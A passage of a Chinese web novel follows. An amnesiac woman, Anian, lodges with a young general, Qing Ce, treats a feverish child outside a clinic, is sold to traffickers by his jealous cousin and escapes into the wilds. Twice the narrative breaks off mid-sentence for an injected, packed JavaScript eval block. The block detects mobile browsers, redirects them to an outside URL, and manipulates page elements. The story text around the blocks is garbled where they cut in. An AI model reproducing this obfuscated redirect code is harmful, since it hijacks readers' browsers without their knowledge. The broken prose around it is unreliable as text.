她掀开被子站起身,只觉的脚步虚软头昏脑涨,忙不迭的抓住就近的手臂才得以稳住身形。 一旁侍卫感觉就要冲上来把她劈开,她面色惨白的赔笑,放开青策,颤颤巍巍伸出胳膊左右寻找支撑:“可以是可以就是劳驾你们谁扶我一下。” 青策摆了摆手,示意侍卫无碍。有力的大手抓住她的臂膀,跟拎小鸡似的给人提着就往门处走。丝莫竹有苦难言,内心腹诽痛死了还不如自己爬出去:“大哥,轻点。” …… 不愧为首都,道路平坦宽阔,畅通无阻,马车檀香萦绕几乎没有噪音,青策说的精简实用,把朝代概况以及近些年发生的大事都说了一遍,叫人好歹是有了有点世界观。 叙述完车上变得鸦雀无声。 讲话跟要钱似的,丝莫竹内心腹诽。马车却久久没有到达之意,她脚趾抠地,眨巴眨巴眼睛努力寻找话题:“呃,那个刚刚那个公子他似乎有话没说完整,他与我非亲非故为何要冒如此的风险将我带回来?” 良久他说:“大概是他心好” 丝莫竹半信半疑的嗯了一声,随后问道:“那我叫什么?” “你先前并未与他们说过姓名,那便…先叫阿念吧。” 几周后。 清晨,将军府里。 见侍卫换岗,阿念身姿矫健,唰唰几个走位,一头钻进了青策的卧房。 刚想摇醒他,就被未曾睁眼的青策一把拎起狠狠砸在床板上。他的小臂死死抵在细长的脖颈处,弄得她脑袋一阵熟悉晕眩,想发出声音却发现就快要喘不过气。 青策近在咫尺的脸,是从未见过的狠厉,下一秒却变得清明。 他慌忙松开手,闪身后退:“怎么是你?” 阿念剧烈的咳嗽了几声,白皙的脸颊涨红,手忙脚乱的爬起身来:“你这人怎么这般!给我带处来就没了音讯,我的身世什么你查了没有?” 她擅闯别人卧房都没计较,到恶人先告状。青策单手粗暴的捋了捋碎发,该死,那日回来后因紧急军报被叫走,随后忙的稀里糊涂,一边还要上朝勾心斗角,回家睡个安稳觉都奢侈,把她忘的一干二净。 阿念见他这幅模样,以为是自己太过咄咄逼人,岔开话题道:“诶你前些日子说的表哥就是太子吧?你还说什么他爱那个什么丞相府的大小姐,我都打听到了,他都另娶她人了好不好,你还留我寻什么小姐尸骨。” 她说着就莫名来气,哼道:“花心就花心,还要虚情假意博个好名声,我要是那位小姐化成灰都不想见到他。” 青策慌忙穿好衣服:“你听谁说的?” 可不能暴露了情报处,阿念顾左右而言他:“今天天气不错哈,就听听路人说的呗。” “表哥想拿回太子位,就得叫当今…那位放下些许芥蒂。韩家那时在朝中最为得宠,只有假意同流合污,才能叫那些虎豹豺狼放松警惕,缓兵之计罢了,殿下也是为了替你家小姐报仇不是吗,不过是权宜之计罢了,这种联姻并无情谊,懂了吗?” 阿念翻了个白眼,摇摇头:“又不是没有别的办法,怎么总要牺牲女子。” 青策扣好扣子突然反应过来,自己干嘛和她讲这些。顿时神色一凌,揪起她的前衣襟:“你怎的进来,适才听到的话半个也别往外蹦,你最好不是什么奸细,否则…” 女子的眼泪说掉了掉,无辜的大眼睛扑朔着,樱红的嘴唇外翻嘤嘤道:“少侠饶命,我真的只是失忆了,不是奸细。但但!话又说回来,还不是你将我丢在后院就了无音讯。她们不知情的全以为我是你带回来的露水红颜,就告诉了我你的房间,我蹲了好几天换班的时辰,这才溜了进来问问。” 青策被说的一愣:“我..” 阿念一得松,立马整理起衣服来,即刻换了副嘴脸:“你有没有礼貌随意扯别人的衣领子!再说了,如今天子形同虚设,太子大权独揽,你同我说的这些不过是过去的机密,如今人尽皆知的事情,你是不是有被害妄想症你。” 青策擦了擦手退后几步:“抱歉。” 阿念没好气的翻了翻眼:"我来就是要告诉你,我要走了。这个病一时半会儿也好不了,你收容我,不过是想帮太子找媳妇,但是这种负心薄性的人,就算我记起来也不会告诉你们的。" 她冷哼:“既要又要,白给你们个好名声!” 她起身走的毅然,至身侧时青策拉住她欲言又止,止又欲言。注意到她脖颈上的伤痕,才找出话来,结巴道:“抱歉,有没有把你弄疼,随我去医馆上点药吧。” 阿念摸了摸,一碰就是一阵火辣辣。是因他刚刚撤手太快,护腕摩擦导致的。 她摆了摆手无所谓道:“这有什么,刚刚脖子都快被你压断了。不过你睡觉怎么还带护腕,反应力真快,可否把在下也培养成这般?” ……青策有被无语到:“昨日军营事多,回来时晚,草草便睡下了,我带你去医馆罢。” 阿念闻言捂住口鼻,唰的退后十里:“我天,那你没洗澡吧,不臭吗?” “……在营里洗过回来的!你才不讲卫生!” 阿念闻言呵呵陪笑:“噢是吗,确实还蛮不臭的。那个…我还没吃饭,你也没吃呢吧,走走走,吃饭去。” 3. 里似不似有被害妄想症 “话说你偌大一个将军府没府医吗?” 青策同她肩并肩走在街上,看着如今光景默默对比起往日景象:“初才回来,还未寻得。” “你今日不忙吗?” “休沐。” …… 医馆门口向来大排长龙,还有许多插队的被唾骂声声赶来队尾,场面嘈杂又紊乱,气压极低。 一旁儿科多是带孩子的父母,一个妇人抱着瘫软的孩子小跑上前,事态似乎十分紧急,可劲恳求前人让位。可谁又肯让自己的孩子多受一时之苦。 寻求无果后,看着自觉危在旦夕的孩子,又见眼前茫茫无际,人山人海的队伍,妇人心急如焚的跑到队尾越等越着急。 冰凉的眼泪打落在孩子粗布精织的衣裳上,一滴接着一滴不见干涸。 前头一人牵着个大胖小子冷哼:“这不是西街的淑娘子吗,伺候不好婆家被休,还非得抢孩子。从前有家人照料就没见孩子生什么病,她爹爹好歹是府衙做差的,放着好日子不叫过,跟你这么个卖豆腐的娘吃苦受罪。” 淑娘子闻言担心的脸上露出不屈的神色:“你胡说,从前是病了那家人都不给看,搪塞过去拖坏了身子。我那前夫婆母给了多少钱,叫你处处造谣,在这医馆前也不积德!” “嘿呀谁知道你…” 怀中的小孩本就难耐,如今嘈杂的环境加上剑拔弩张的气氛叫她不安的大哭起来。 阿念下意识加快脚步来到妇人身边,轻探出手摸了摸孩子的额头,掐住滚烫的肉脸迫使小嘴张开来瞧:“应当是乳蛾引起的发烧,这个不打紧的,小青你去医馆给我要根三棱针来。” 对于这个突如其来的称呼青策的大脑有一瞬的空白,但时间紧迫没有多想就进了医馆取针。 里头的大夫闻言,不拿药拿针,莫名其妙的看他一眼,忙的不耐烦道:“不给。” 青策也后知后觉,不是他干嘛来的?为什么要这么听话,不是她是大夫吗她就上? 淑娘子也楞楞的看着这个陌生人,本能的抱着孩子一躲,阿念冲她和善的笑了笑:“相信我。策啊?针呢?人呐?” 前头大胖小子他爹继续落井下石,不屑笑道:“你这自己会医术还来看病,骗子来的吧。” 众人也纷纷投来狐疑的目光,劝妇人别信:“他们穿的非富即贵,别是空有表面功夫的富家子弟,拿我们普通人当猴耍。” 阿念逞能逞到一半,突然回神过来,脚趾抓地,空眨了眨眼。话说,自己好像确实是个记忆全无的病人,怎么就下意识上来了,怎么还懂什么什么乳蛾,乳蛾是什么?好像是喉咙里长俩肉球。 青策面色铁青,无语的折返回来喊她进去:“你又不是医师少耽误别人,过来。” 阿念垂眸,过街老鼠一般低着头,明明是大晴天,她这处却局部降雨了,小步挪动着步子。 那胖娃的爹最为可恶,竟哈哈大笑:“真是个绣花枕头稻草包,还来路见不平一声吼,简直叫人笑掉大牙哈哈哈哈哈!” 淑娘子虽然被她适才的突兀举动吓到,但还是在她被千夫所指的时候往前迈了一步:“谢谢。” 径直被带到后院,阿念弱小的心灵似受到了打击,心不在焉的抬起一丝丝头颅:“不用排队吗?” 一个老头慢慢悠悠的从屋里走来:“怎么啦?” 青策指了指她的脖子:“有些擦伤。” 老头无语的看着他,碍于对方身份偷偷发作:“没什么大碍,开点药抹抹就好,这再晚来些都要愈合了。” 阿念盯着老头:“你是大夫?” 老头见她楞头楞脑问出怎么个问题,倒还笑呵呵逗她:“不错,这整家医馆乃老夫所建,坐诊者皆为我关门弟子,怎么你也有这方面兴趣?” “有点。” 阿念一言不合拉起满头华发的老头就往处走,青策懵了,赶忙追上她:“喂你干嘛?” 馆长也懵了:“诶诶!小姑娘有话好好说,你意欲何为啊?” 她一言不发的拽着人竞走,一身牛劲拉也拉不住。直到回到淑娘子面前,才开口道:“娘子,您瞧好了,这个是正儿八经的医师,这整个医馆都是他开的。” 淑娘子楞楞的看着,转念欢喜的连连道谢:“谢谢谢谢,老先生可否帮我儿看看。” 排队的众人顿时无语:“诶有你们这样的!” 也有认识馆长的想要跑来预约至尊专家号,阿念表情冷峻,昂头抬手先一步制止了混乱的队伍,气氛还真就被她唬住。众目睽睽之下,她对这那孩子道:“先生,您看看这是不是乳蛾引起的发烧?” 老馆长检查一看,满脸疑惑但还是顺着她的话走,想看看这葫芦里卖的什么药:“诶…确实如此呀。” 阿念又指了指孩子的脖颈下端,大拇指以及二指外侧:“她烧的厉害,若要治疗,是否先该施针放血,让高热退却,随后夏枯草五钱,一个鸡蛋两碗水煮成一碗,喝汤吃蛋。” 馆长拳头击掌:“嘿呀还是个老偏方,的确如此,的确如此。” 阿念邪魅一笑,直勾勾的盯着胖小子他爹,挑眉挑衅道:“如何呢?你刚刚说谁是骗子?人家跟爹跟娘你也要管,家住河边吗管的这么宽。” 胖爹见此吃瘪不语,阿念双手抱胸仰天长笑,又狂又拽又阴阳:“哼哼,遇到难回答的问题又不说话了。” 所以接下来的烂摊子怎么收拾,这对前面排队的人也太不公平了。阿念面对着即将到来的灾难,继续维持胜利者姿态,表面支撑着笑容,侧面疯狂冲青策眨眼求救。 真要帮,把人偷偷拉进去都比这好。她到是拉风了,青策无语命侍卫管理好秩序:“老先生,您看今日可否也从旁坐个诊。” 馆长看了看阿念,捋着胡子摇摇头哼哼笑道:“今儿也是见着个奇人,也罢我这老骨头还能撑撑。” 于是,不太急的都去了至尊专家号,紧急的也得以加快了速度。 阿念觉得新奇跑去老头一旁当起了助手,青策虽面色不悦但也未走,默默靠在一旁。 轮到小胖子,短短几瞬,阿念同他爹眼神大战三百回合。 “你孩子没什么大碍,就是吃太多了积食,开点山楂丸即刻。记住饮食要规律。” “哈哈哈哈哈!” 阿念闻言捧腹大笑,胖爹怒急指着她就要上前。 “略略略。”她灵敏的躲到了老头子身后。 日头渐中,老馆长收拾完烂摊子,打着哈切就回屋了,阿念累的往处便是一坐。眼见青策还杵在那块,叫人猜他不好惹面具下的情绪。 “小青,坐呀。” 青策面色极为不悦的坐下,压着声音说道:“我竟不知与你已如此相熟。” “那怎样才算相熟,知根知底还要认识个三五年?我觉得你为人不错,话也投机还给我吃穿,我便与你交心视你为友,不该这般吗?还是人就该虚与委蛇,隔着一层纱布自相残杀。那太子与他的兄弟倒是相知相熟,走在路上跟仇人一般。”阿念说完撇了撇嘴撞了他一下,询问他的意见。 青策有点失策,看她的表情上带着些讶异。沉默良久,转回眸子多了些郑重,面色也增添些许柔和:“你说的对,是我错了。在这漩涡中盘旋太久,忘却了世间还有你这般率真的人。” 阿念甩手,呵呵笑道:“倒也不必这般捧我,那你便请我吃街角那家糖葫芦赔罪呗,可以吗?” 刚买完糖葫芦,她利索接过嗷呜一口,东张西望的逛起街来。 青策看着她突然道:“你怎么会医术,普通丫鬟没这能耐。” 阿念转过头来,无懈可击的美貌下看不出一丝破绽。 “好像…确实。但万一的医侍呢?” “表哥说过嫂嫂会医术,而且也不体弱多病,从前可是女扮男装多次赈灾奔走,自己都会的本领,还随身带医侍做什么?” “那你会不会武功?还带侍卫做什么。” “这一样吗?” 她眯眼摸摸下巴:“她会医术还学以致用屡次赈灾帮扶,身边的人不会耳濡目染吗?况且适才那些都是小病,有些常识的家庭都晓得吧?” “嫂嫂身边总带的一共两位,扬州之战都殁了…” 阿念突然捂嘴顿步,一双漂亮的眸子认真的看着他:“天,我不会是你嫂子吧,我去,你看,你嫂子会医术我也会。传言道她乃名冠都城的绝色美人儿,我偏偏也这般貌美如花,天啊,你快带我去见那个太子,我的荣华富贵就仰仗你了!” 青策刚被她带入一个可怕的假设,又被她的自恋和夸张拉了出来,口是心非道:“就你?莫竹姐姐可是很有涵养的,怎么说的出你这些话来。我可以带你去,但别到时候拆穿了你什么不可告人的细作身份,那你可就死无全尸了。” 她忽的垫脚,直勾勾盯着他的眼睛。 青策本就心虚,没敢正眼瞧她,这下脸唰一下,控制不住的红透半边天,后撤推肩隔开距离:“你…干嘛!” 阿念摇了摇头,转身继续啃葫芦:“谁知道呢,照照镜子呗。说来也对,本人如花似玉的年纪可没有那位千金那么年长。 她回眸语重心长道:“还有,大哥你被害妄想症真的有些严重,我若真是细作,伪装还来不及,干嘛暴露自己?那天我还能刚好撞你车上了,无巧不成书,人为的可没如此天然。” 青策握拳偏头:“有你这么照镜子的,你别口无遮拦的。莫竹姐姐当年为了殿下不容易,死后还被人砍下了胳膊抛尸荒野。” 阿念不解的甩了甩小臂:“你怎么知道?” “废话,当年三皇子为了诛殿下的心,将烤焦的手臂连着嫂嫂常年不离身的镯子一道送入了宫。” 就近找了个摊,她坐下无心的拿起菜单一通乱指:“诶,怎么和我以前听的不太对?三皇子不是好的吗,还救了太子。话说干嘛寄个手来,不应该是头吗?手他万一造假怎么办?” 青策无语挑眉道:“哪有这么多万一,打听这么多干嘛,你别真是倭寇派来的奸细。” 砰的一拍桌子,阿念无语的指着他:“天,骂的太脏了你,不带这么骂人的。你不仅眼盲心瞎,简直还有极为严重的被害妄想症。本姑娘这般天生丽质,沉鱼落雁,闭月羞花,人见人爱,花见花开…” “停,停。我现在也想知道你究竟是个谁。” “是你!” 两人闻言楞楞抬头,巧同刚出店门口的胖爹打了个照面,胖率先认出了这两个家伙:“吃我一击!” 啪的,直接甩出了爱宠。 阿念一脸惊恐:“啊!蟑螂!我去,你们这家店简直不卫生啊!” 飞舞的大强震撼袭来,她拉着青策便夺命狂奔一口气跑回了府。 阿念气喘吁吁的半蹲下来,扎着马步缓冲。还不忘安抚道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239489|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不必…言谢,我这人,忠,义。” 马步支撑没多久,便成了个草坪上的人形大字。阿念喘着粗气瘫倒在芬芳的土地上感叹:“我去,世界真是太小了,还好有惊无险。喝…喝…喝…累到本…” “你怕蟑螂?”青策倒是呼吸均匀,没事人一般,闲庭信步,不疾不徐的在她身旁坐下。 “没话找话呢,你不怕?”阿念皱眉瞪他一眼,报复性咬下一口糖葫芦,酸的叫人口齿生津,甜的叫人舌苔起膜。 大树荫下,草青地软,阳光和煦,风也清甜。 慢慢的呼吸逐渐平稳,芳草萋萋,树荫袅袅,眼前青青,耳边莎莎,心中静静。 “我究竟是谁?” “你究竟是谁?” 两人几乎异口同声的看向对方。 目光交汇,阿念叹息着摇了摇头:“真不记得,一点都没有印象。” 青策放松下来,头一次细细打量起她。初时干瘦,脸上毫无血色,加上受了伤脑门缠个绷带,更是一副命不久矣的虚弱模样,活像个干尸。如今在家中养的越发标志,白皙的皮肤焕发光泽,好似,弹嫩水光肌。苍白的唇瓣转为红缨,如此,饱满好唇形。 尤其是眼眸,如宝钻般熠熠生辉,蕴藏在丛林之中夺目又稀缺。微扬睫毛忽闪忽闪,恰似蝶翼。笑眯起来又如一轮浅月。运动过后,薄汗微出,淡香盈盈,面颊红扑,自然的韵味,格外柔美。 风已静花却落,透薄的叶瓣一荡一荡,轻飘轻飘,落在鼻尖。大概是适才的阴影未消,她竟当成了虫子,从地上一个弹射,连拍带吐,不顾形象的模样实在般率性可人,逗的人捧腹大笑。 弄清楚何物后,被看戏的阿念怒吼道:“你笑什么笑!知道不早说,看人出丑是什么恶趣味!” “抱歉,哈哈哈哈哈哈。”看他这个样子青策更想笑了,简直直不起腰来,就差笑的在地上打滚了。 阿念冲过去就十成十的捶,没动过的糖葫芦横着往他嘴里怼:“我叫你笑,你再笑啊!” 青策被糊了一嘴糖哭笑不得,她也真的牛劲,门牙都快被糊下来。刚想把人推开,一声持久且高亢直冲云霄的尖叫,把两人都吓了一耸。 “啊啊啊啊!你们,你们成何体统!哪来的野女人快从策哥哥身边滚开呀!啊啊啊啊啊!” 后头来了位穿着华服的女子,她被丫鬟搀扶着,怒目圆睁的指着他们,感觉气的头上都在冒烟了。 阿念转头呆若木鸡的起身,像个做错事的学生,看起来还有一丝丝的胆怯,她略微缩脖眼神示意青策:这是谁? 看她这种窝里横的样子真是逗,青策左手拇指拂过嘴唇擦去糖渍,右手利落的撑地而起:“我表妹,玥莹瑶。” 玥莹瑶气冲冲的走到她们跟前,阿念偷偷打量。她表情的委屈又生气,神态娇蛮,指着自己的一双素手细嫩白皙,一看就是养在闺阁中的大小姐,惹不起。 又见她望向青策的眼神,那分明是在吃醋。完了完了罪过罪过,这宁拆十座庙不毁一桩婚,如若两人早就是一对,那自己的动作简直太不可取了。她内心腹诽,自己的身姿很曼妙。 阿念赶忙俯首作揖:“原来是少爷的妹妹,小的该死刚见少爷头上有虫,不得以而为之,一时失了分寸还请小姐见谅。” 月莹瑶叉着腰冷哼一声,随后变脸般转向青策:“青哥哥这是哪来的奴婢,我怎么未曾见过,你何时身边带女人了?” “与你何干?”青策不冷不热的撂下句话拉着阿念就走,徒留她原地干瞪眼。 走出一段路,本在吃瓜的阿念浑身像是被灌了铅,一下挣开青策的手,疑惑问道:“她爱慕你,你就算不喜欢,不可以好好说开,怎如此对待一个满心满眼都是你的姑娘?” 青策转过身来面对着她,挺拔的身姿遮住了正午的烈阳。他的表情平静似又无奈:“儿时我帮过她一个小忙,大概从此,她对我有了丝好感,但那不过是少儿之间的友情。然而就是这一丝的好感便成了深宅大院里的喜欢,爱慕,人人都在给她灌输我们是良配,包括她的家人我的家人。当我发现之时也曾与她说道,可时间太久已成执念我无法劝说她,连普通表兄妹之间的情谊,甚至是正常朋友般相处,都能被添油加醋的误会。我不想让这个误会继续延伸,阿念你明白吗?” 闻言她竟有些说不出话来,但就现在的情况来看即使冷淡,也不代表月莹瑶会放弃。何况人性,越得不到越是心痒难耐,不合适的感情在开端就注定难以善终。 阿念上前拍了拍他的肩膀,两人对视,神色是同样的惆怅,接下来的路程相伴无言。 次日清晨丝丝缕缕的阳光洒进暖阁,阿念伸了个懒腰,走到窗前推开木扇,迎接春日。 生发之气扑面而来,天蓝桃花香,真是个好日子,适合干点什么呢? 正打量着镜中自己她猛然想起个事:“坏了,我不是要走?” 想什么来什么,门被打开,这些日子颇为照顾她的姐姐巧笑着递来封书信:“你可识字?要不要我读给你听呀?” 阿念一瞅署名青策,她笑着摆了摆手:“谢谢姐姐,识得,识得。” :因你疑点重重,所以别想着离开。有关相府的身世,不管是你失忆前为了得救的胡诌,亦或是真有瓜葛,我会在不打草惊蛇的情况下找来相府的人见你。这些年太多骗子假传消息骗取赏赐,我不想再叫表哥伤心。 4. 这算是宅斗嘛? 阿念收起信件叹了口气,疯狂锤击脑门:“老己你也不靠谱啊,失忆前都在干些什么,动物大迁徙呢?这下好了,连自己姓氏名谁都不知道,还要被当奸细,唉……事已至此,吃饭吧。” 正想着,门又敲响。 “呐,将军叫我吧这个给你。” 阿念疑惑接过令牌:“这…干甚的?” 方才的姐姐因多次爬楼喘着粗气,单手叉腰语气无奈又有些怨怼,却因长太美嗔怒也有别样的温柔:“你可别小看,有了此物便可随意出府。将军近来公事繁忙,说呀,怕待你不周,叫你自己多转转。” 阿念闻言瞬间眼前一亮:“天,够义气。” 那姐姐挑眉,耐人寻味的看着她:“念念啊,往后飞黄腾达了可别忘了姐妹们。” “不,不是你想的那样,我真的只是他请来破案的。” “噢是吗,好好好,你说什么是什么吧。” 她明显不信敷衍结话,在下楼之际却又猛然回头,眯眼警告:“你们往后有事当面说,别拿我们当油灯还要跑腿!” 阿念陪笑:“姐姐说的是,晚上我就来帮你做活。” 人走后她细细端详了一番令牌,突然一回神:“怎么只给通行证,不给钱的?” “唉,扣的很。不过…山人自有妙计。” 阿念促狭着摩挲下巴,桀桀桀发出反派的笑声。转身心情颇哼起歌来,点兵点将选了身鹅黄的襦裙。简单的蝶翅发髻添上青蓝簪花,完美。 …… 早闻帝都江满楼堪称一绝,景美人美菜更美,站在楼下都觉宏伟。 寻着四溢的香气,正抬步进门,却被拦下。干瘦的小厮见是生面孔笑吟吟的拖延时间,把她全身上下打量了一番:“今日客满不知可有约?” 阿念做恍然状:“倒是未曾,想不到你们生意竟这般好,一大早便客满。听说你们家的糕点是全帝都最好吃的,我们家将军呐,就好着一口,唉,没成想这般无缘…那就算了。” 她无奈叹息,转身间撩了撩不存在的碎发,十分刻意的露出套在胳膊上的令牌。 小厮定睛一看:“啊呀,原来是将军府的小娘子,怪不得生的这般貌美,气质也不同寻常,可道非凡。不不不,简直是非凡无比。您来那总是有的,娘子,里边请。” 阿念吃饱喝足,还不忘给青策打包一份,毕竟这赊的账还得他来还不是。她提着糕点大摇大摆正要出门却好死不死迎面撞上一人,青策的表妹玥莹瑶。 她和一群名门贵女看起来气势浩汤,阿念低头想走,但来不及了。 玥莹瑶见是她,本来谈笑的面上顿时横眉竖起,染上了十分的怒意。 见状阿念提起裙摆就想故技重施,逃之夭夭。不料玥莹瑶率先发话:“好巧啊,姐妹们这位便是我刚刚与你们所说的,青哥哥带回来的奴婢!你昨天说没什么,可是我去府里问了,他们都说你是青哥哥带回来的小妾!” 似有无数针尖般的目光刺在阿念的身上,贵女们有的拿着丝帕掩面嘲笑,有的不懈的白眼都快翻出屏幕了。 贵女甲:“这贱婢该不会是仗着自己有几分姿色,就想山鸡变凤凰吧?和我们瑶瑶抢男人,你也配吗真的是。” 乙:“可不是嘛,看她那狐媚样,谁家奴婢像她这样打扮?花枝招展的还进出酒楼的,这是已经把自己当女主人了。你瞧吗还拿着将军府的令牌呢,我说瑶瑶你可别真被人捷足先登了。” 这下好了表妹被这么一通煽风点火,成功着了:“青哥哥是我的!你这贱婢还不赶快滚!” 阿念额头的汗密密麻麻的往外冒,手都摇麻了闻言赶忙点头:“小的这就滚。” 刚要走,那贵女甲昂首挺胸,上来就给她推了个四脚朝天:“瑶瑶你少不知事,也太善良了。就这样放这贱婢走,你信不信她出了这门转头就会去和小青将军吹枕边风告你的黑状。” “那当如何?” 乙:“还用说,一个贱婢而已,直接发卖了。” 事情朝着不可控的地方发展了,阿念遇上这种情况更本不敢给大脑宕机的时间,飞速思考出路,连连摆手:“卖不得,卖不得!什么枕边风,莫听她们胡言。表小姐你的小青将军带我入府是因为我的身世牵扯那个什么丞相府,并无其他,真的。 今天什么事也没发生,我们未曾见过,何谈我去打小报告。” 她酷驰就照自己的脸来了一下:“昨日实在是我没有分寸,我真的该打,我同你赔不是。那个,我可以走的,我可以自己走人,我现在就回去收拾东西…好像也没什么收拾的,我现在就滚,行吗?” 表妹闻言思考了一下:“对啊,青哥哥做事一向谨慎,有章法的。我从前也没见过她,青哥哥不会莫名其妙和人私定终身的…” 阿念欣慰的点了点头。 甲:“你忘了昨日她和小青将军在草坪私会了嘛?那种姿势,不是…诶呀我都不好意思讲了,不是云雨过怎会这般亲近,傻妹妹一见钟情多的是,男人就容易被这种胸大无脑的人蛊惑。她说什么你都信,还丞相府,她怎么不说她是西王母。” 乙用折扇掩面,冷笑出声:“她这哪里是知道错了,分明是感觉怕了。你若行的端坐的正,我们还能难为你不成。浑身上下一股茶味,这般巧舌如簧,搬弄是非,搞的好像是我们无端欺负你一样。照照镜子,你谁?赔给本小姐提鞋吗,还搭理你,贱婢到处勾搭有妇之夫。” 表妹当即拍案:“卖!“ 晴天霹雳,把人烤的外焦里嫩。 阿念见服软无果,咬牙挣扎:“云云云你个头!我现在不是奴籍,是也不是你家的,你们凭什么卖我。一国之都,天子脚下,青天白日还有没有王法了!” 动静变大,闹剧引来围观,却没一人上前,这种爱恨情仇,倒是颇为下饭。 人越多,贵女们的脸色也挂不住,忙命小厮:“快点捂住她的嘴,带下去带下去,少饶本小姐雅兴。” 次日傍晚将军府中,青曲从外整顿好军队留下将领回京述职。全府张灯结彩热闹极了,一家人早早的就在门口等待,盼着他早些从宫中复命归来。 老将比当年多了不少威严,日落西山他与一行侍卫踏马归来。院落里摆起酒席,不大只有一家人。 开席前青策看着桌上的桃花酥不知怎的想起阿念来,于是偷偷连盘端走,嘱咐一旁的侍女送去暖阁。 席间短短聊完家常,青曲对青策拿出了圣旨:“策儿,国势渐稳,上头急不可耐要收回扬州和边境。太子殿下如今万事俱备只欠东风,我得留在帝都为他坐镇,你一人可行?” 为娘的一听心中不由一紧:“让儿子一人前往?往日他都是跟着你,第一次独当一面便是这般重要的大战,恐怕……” 青策收下圣旨,宽慰母亲道:“从小便前狼后虎的过来,哪次不是刀尖舔血。跟爹打了这么久的仗,早可以出师了。况且如今上有殿下,政治清明,下有强兵,精铁良驹。毫无后顾之忧,倘若连这事都承不住我也枉活这么大了。娘可别小瞧我去。” 青曲喝了口酒笑道:“就是夫人,可别小瞧你儿子。另外策儿,此事待会儿书房爹与你详谈。” 夫人还是埋怨的看了两父子一眼。 玥莹瑶的父亲也就是夫人娘家的哥哥,还是青曲的麾下,他也找话宽慰道:“妹妹,你就放心吧到时候我会看好外甥,兼女婿的哈哈哈哈哈哈!” 青策面色不悦:“舅舅你别乱说……” 玥莹瑶这时眼含泪珠凑了过来:“青哥哥,你一定要保重,你走了我可怎么办,姨娘能不能让我和表哥一起去,我可以照顾哥哥的。” 她爹先行拍桌:“你一个女孩子家家去什么军营!” 夫人忙把她拉到身边,拍着手安慰:“好孩子,姨娘知道你的舍不得哥哥,你且在家中等着他得胜而归吧,到时啊……” “什么!” 众人都被青策突然暴起吸引了目光,纷纷关系道:“怎么了你?” 小丫鬟慌张的成为了全场第二个焦点,局促不安道:“听暖阁说昨日一早,阿念出去后就没再回来。” 青策眉头皱的快能夹死一只苍蝇了:“去哪了,一夜未归也不去找,也不来报?” “阿念说出门前好像是交代了,就去满江楼买个糕点 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239490|197665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便回来,我们…我们还以为,她同您在一块。” 大人们疑惑的问到:“出什么事了?阿念是谁?” 好好的人怎么会不见,是不是贪玩迷路了?青策赶紧嘱咐侍卫去江满楼,丝毫未闻母亲的问话。 青曲看着儿子这个箭在弦上即刻要飞的事态,抓住他的胳膊问到:“你娘问你话呢,阿念是何人?” 青策这才回神到酒席上:“前段时间我下朝回府时撞伤了位姑娘,大夫说会失忆,她也什么都不记得。我总要对人负责就带回来了,她的身世我还在查。” 夫人看儿子这副模样若有所思,但面色不显只道:“这般大事你也不同我们讲,现在又没头苍蝇般急什么,许是人家记起来自己回去了。这都应付不来还上战场,真的是不省心,路边的女人也敢捡。” 表妹手心汪汪冒汗,夫人左见玥莹瑶慌张的面色,右看儿子焦急万分的神情,猜出了个十之八九。 不久侍卫回来,玥莹瑶也迎来了她的审判。 有人紧张的冒冷汗,有人不耐烦的想拍桌。青策压着怒火,对他跋扈的表妹抱有一丝幻想:“人呢?” 从未见过青策这般的狠厉的模样,表妹畏缩的站在夫人身旁,糯糯的声线颤抖结巴道:“卖,卖了…” “什么!”青策气的抄起声旁的东西就想砸,奈何没控制力度,徒手便捏碎了一个茶杯。血从指缝中攀沿而下,怒急的双目似破夜的利剑,刀锋偏转,闪过的寒光叫人胆颤。没有半点掩饰凌厉,欲要生生剜了对方。 好好的一场接风宴乱成一锅粥。 最后查到阿念是被卖去了临近柳州的小城,追踪过去才知她半路毒瘫看守,受害者顿时争先恐后的作鸟兽散,惊醒了整队,荒山野岭乱成一团,最后抓回的抓回,遇害的遇害。她找不到尸体也不在活笼里,派去的人数不多一时寻不到她。 夫人先一步截下来报,换了一个版本叫人与青策讲她半路出逃碰上恶狼,只剩残布衣角,应当被吃了。 青策闻知气的睡不着觉,也莫名道自己情绪为何这般大。以为屋子漏雨了,没想到是不争气的眼睛哭湿了枕被。 连着几日过去,日日辗转难眠。他心全杂念的扔下笔,带人出门,顺着玥莹瑶这群狐朋狗友的线把人贩子窝一举端了,人面兽心的罪犯通通伏诛。 宫里宫外也传的神乎其神,说是小青将军的心上人被卖了,他气的仅一人就将大理寺找了许多年都找不到的人贩子给连根拔起,其中貌似还牵涉了某些朝臣。 青策启程那天,表妹前来相送,却只敢远远的看着,随后又掩面而泣。 …… 这边阿念也真是快走死了,这荒山野岭前不着村后不着店的大半夜全是野兽。她自怨自艾的默念:什么车到山前必有路,船到桥头自然直,根本无路可走。 不过辟谣,狼才没有随意咬人。 重回原始,她每每日不落便开始找洞刨洞,不能太大,没有安全感,容身便可。入了夜就在洞口盖上人贩子拷自己的木板手铐,最后再掩上杂草。 她呵呵笑着,拂过墙壁,泥土窸窸窣窣的落下,她抓起拍回:“斯是陋室,惟吾德馨。” 天天缩洞里蜗居,鹅黄的裙子变得乌漆嘛糟,吃还是是藏在衣服里本想带给府中姐妹的糕点,仅管每天只敢吃一点点裹腹,前些日子也都消耗殆尽了。 